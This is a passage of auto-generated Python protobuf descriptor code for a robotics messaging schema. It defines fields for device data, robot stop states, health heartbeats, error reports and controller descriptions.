name='conveyor_state', full_name='robotics.learning.reach.DeviceData.conveyor_state', index=21,
number=16, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='conveyor_state_update', full_name='robotics.learning.reach.DeviceData.conveyor_state_update', index=22,
number=17, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='tool_state', full_name='robotics.learning.reach.DeviceData.tool_state', index=23,
number=18, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='tool_state_update', full_name='robotics.learning.reach.DeviceData.tool_state_update', index=24,
number=19, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='status', full_name='robotics.learning.reach.DeviceData.status', index=25,
number=20, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\002P\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='user_label', full_name='robotics.learning.reach.DeviceData.user_label', index=26,
number=21, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\006\030\001 \001X\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='session_info', full_name='robotics.learning.reach.DeviceData.session_info', index=27,
number=22, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\002P\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='pick_label', full_name='robotics.learning.reach.DeviceData.pick_label', index=28,
number=23, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\002 \001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='place_label', full_name='robotics.learning.reach.DeviceData.place_label', index=29,
number=37, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\002 \001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='level', full_name='robotics.learning.reach.DeviceData.level', index=30,
number=25, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='protective_stop_state', full_name='robotics.learning.reach.DeviceData.protective_stop_state', index=31,
number=26, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\004\030\001X\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='protective_stop_state_update', full_name='robotics.learning.reach.DeviceData.protective_stop_state_update', index=32,
number=27, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\004\030\001X\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='safeguard_stop_state', full_name='robotics.learning.reach.DeviceData.safeguard_stop_state', index=33,
number=28, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\004\030\001X\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='safeguard_stop_state_update', full_name='robotics.learning.reach.DeviceData.safeguard_stop_state_update', index=34,
number=29, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\004\030\001X\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='emergency_stop_state', full_name='robotics.learning.reach.DeviceData.emergency_stop_state', index=35,
number=67, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\004\030\001X\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='emergency_stop_state_update', full_name='robotics.learning.reach.DeviceData.emergency_stop_state_update', index=36,
number=68, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\004\030\001X\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='robot_power_state', full_name='robotics.learning.reach.DeviceData.robot_power_state', index=37,
number=74, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='robot_power_state_update', full_name='robotics.learning.reach.DeviceData.robot_power_state_update', index=38,
number=75, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='metric', full_name='robotics.learning.reach.DeviceData.metric', index=39,
number=30, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='reach_script_status', full_name='robotics.learning.reach.DeviceData.reach_script_status', index=40,
number=31, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\002P\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='cmd_status', full_name='robotics.learning.reach.DeviceData.cmd_status', index=41,
number=32, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\002P\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='vacuum_pressure_state', full_name='robotics.learning.reach.DeviceData.vacuum_pressure_state', index=42,
number=33, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='vacuum_pressure_update', full_name='robotics.learning.reach.DeviceData.vacuum_pressure_update', index=43,
number=34, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='downlink_status', full_name='robotics.learning.reach.DeviceData.downlink_status', index=44,
number=40, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\002P\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='sensor_state', full_name='robotics.learning.reach.DeviceData.sensor_state', index=45,
number=41, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='sensor_state_update', full_name='robotics.learning.reach.DeviceData.sensor_state_update', index=46,
number=42, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='output_state', full_name='robotics.learning.reach.DeviceData.output_state', index=47,
number=43, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='output_state_update', full_name='robotics.learning.reach.DeviceData.output_state_update', index=48,
number=44, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='health_check', full_name='robotics.learning.reach.DeviceData.health_check', index=49,
number=45, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='history', full_name='robotics.learning.reach.DeviceData.history', index=50,
number=46, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='audio_request_mute', full_name='robotics.learning.reach.DeviceData.audio_request_mute', index=51,
number=47, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='audio_request_unmute', full_name='robotics.learning.reach.DeviceData.audio_request_unmute', index=52,
number=48, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='error', full_name='robotics.learning.reach.DeviceData.error', index=53,
number=49, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\002P\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='webrtc_audio_response', full_name='robotics.learning.reach.DeviceData.webrtc_audio_response', index=54,
number=50, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='metadata', full_name='robotics.learning.reach.DeviceData.metadata', index=55,
number=51, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\002 \001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='sim_state', full_name='robotics.learning.reach.DeviceData.sim_state', index=56,
number=52, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\002 \001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='device_status', full_name='robotics.learning.reach.DeviceData.device_status', index=57,
number=53, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\002P\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='webrtc_audio_request', full_name='robotics.learning.reach.DeviceData.webrtc_audio_request', index=58,
number=54, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='sim_instance_segmentation', full_name='robotics.learning.reach.DeviceData.sim_instance_segmentation', index=59,
number=55, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='exposure_complete', full_name='robotics.learning.reach.DeviceData.exposure_complete', index=60,
number=56, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='start_shutdown', full_name='robotics.learning.reach.DeviceData.start_shutdown', index=61,
number=59, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='finish_shutdown', full_name='robotics.learning.reach.DeviceData.finish_shutdown', index=62,
number=60, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='hangup', full_name='robotics.learning.reach.DeviceData.hangup', index=63,
number=61, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='connected_clients', full_name='robotics.learning.reach.DeviceData.connected_clients', index=64,
number=62, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='detection', full_name='robotics.learning.reach.DeviceData.detection', index=65,
number=63, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='robot_state', full_name='robotics.learning.reach.DeviceData.robot_state', index=66,
number=64, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\004\030\001X\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='alert', full_name='robotics.learning.reach.DeviceData.alert', index=67,
number=66, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\006\030\001 \001X\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='client_annotation', full_name='robotics.learning.reach.DeviceData.client_annotation', index=68,
number=69, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='pipeline_description', full_name='robotics.learning.reach.DeviceData.pipeline_description', index=69,
number=70, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='machine_interfaces', full_name='robotics.learning.reach.DeviceData.machine_interfaces', index=70,
number=71, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='machine_description', full_name='robotics.learning.reach.DeviceData.machine_description', index=71,
number=72, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='text_instruction', full_name='robotics.learning.reach.DeviceData.text_instruction', index=72,
number=73, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='report_error', full_name='robotics.learning.reach.DeviceData.report_error', index=73,
number=76, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='health', full_name='robotics.learning.reach.DeviceData.health', index=74,
number=78, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='controller_descriptions', full_name='robotics.learning.reach.DeviceData.controller_descriptions', index=75,
number=79, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\031*\027controller-descriptions', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='data_type_oneof', full_name='robotics.learning.reach.DeviceData.data_type_oneof',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=9100,
serialized_end=13889,
)
_TEXTLOGDATA = _descriptor.Descriptor(
name='TextLogData',
full_name='robotics.learning.reach.TextLogData',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='file_name', full_name='robotics.learning.reach.TextLogData.file_name', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='line_number', full_name='robotics.learning.reach.TextLogData.line_number', index=1,
number=2, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='text', full_name='robotics.learning.reach.TextLogData.text', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=13891,
serialized_end=13958,
)
_HEALTH = _descriptor.Descriptor(
name='Health',
full_name='robotics.learning.reach.Health',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='interval_length_ms', full_name='robotics.learning.reach.Health.interval_length_ms', index=0,
number=1, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='display_name', full_name='robotics.learning.reach.Health.display_name', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='heart_beats', full_name='robotics.learning.reach.Health.heart_beats', index=2,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=13960,
serialized_end=14076,
)
_HEARTBEATS = _descriptor.Descriptor(
name='HeartBeats',
full_name='robotics.learning.reach.HeartBeats',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='any_camera', full_name='robotics.learning.reach.HeartBeats.any_camera', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='depth_camera', full_name='robotics.learning.reach.HeartBeats.depth_camera', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='color_camera', full_name='robotics.learning.reach.HeartBeats.color_camera', index=2,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='not_estopped', full_name='robotics.learning.reach.HeartBeats.not_estopped', index=3,
number=4, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='not_pstopped', full_name='robotics.learning.reach.HeartBeats.not_pstopped', index=4,
number=5, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='not_safeguardstopped', full_name='robotics.learning.reach.HeartBeats.not_safeguardstopped', index=5,
number=6, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='joints', full_name='robotics.learning.reach.HeartBeats.joints', index=6,
number=7, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='movement', full_name='robotics.learning.reach.HeartBeats.movement', index=7,
number=8, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='client_connected', full_name='robotics.learning.reach.HeartBeats.client_connected', index=8,
number=9, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='no_reach_script_failure', full_name='robotics.learning.reach.HeartBeats.no_reach_script_failure', index=9,
number=10, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='teleop_generates_metric', full_name='robotics.learning.reach.HeartBeats.teleop_generates_metric', index=10,
number=11, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=14079,
serialized_end=14773,
)
_HEALTHSTATE = _descriptor.Descriptor(
name='HealthState',
full_name='robotics.learning.reach.HealthState',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='ok', full_name='robotics.learning.reach.HealthState.ok', index=0,
number=1, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='info', full_name='robotics.learning.reach.HealthState.info', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=14775,
serialized_end=14814,
)
_REPORTERROR = _descriptor.Descriptor(
name='ReportError',
full_name='robotics.learning.reach.ReportError',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='error', full_name='robotics.learning.reach.ReportError.error', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='tags', full_name='robotics.learning.reach.ReportError.tags', index=1,
number=2, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=14816,
serialized_end=14858,
)
_CONTROLLERDESCRIPTIONS = _descriptor.Descriptor(
name='ControllerDescriptions',
full_name='robotics.learning.reach.ControllerDescriptions',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='descriptions', full_name='robotics.learning.reach.ControllerDescriptions.descriptions', index=0,
number=1, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=14860,
serialized_end=14954,
)
_CONTROLLERDESCRIPTION = _descriptor.Descriptor(
name='ControllerDescription',
full_name='robotics.learning.reach.ControllerDescription',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='name', full_name='robotics.learning.reach.ControllerDescription.name', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=14956,
serialized_end=14993,
)
_SENDTOCLIENT = _descriptor.Descriptor(
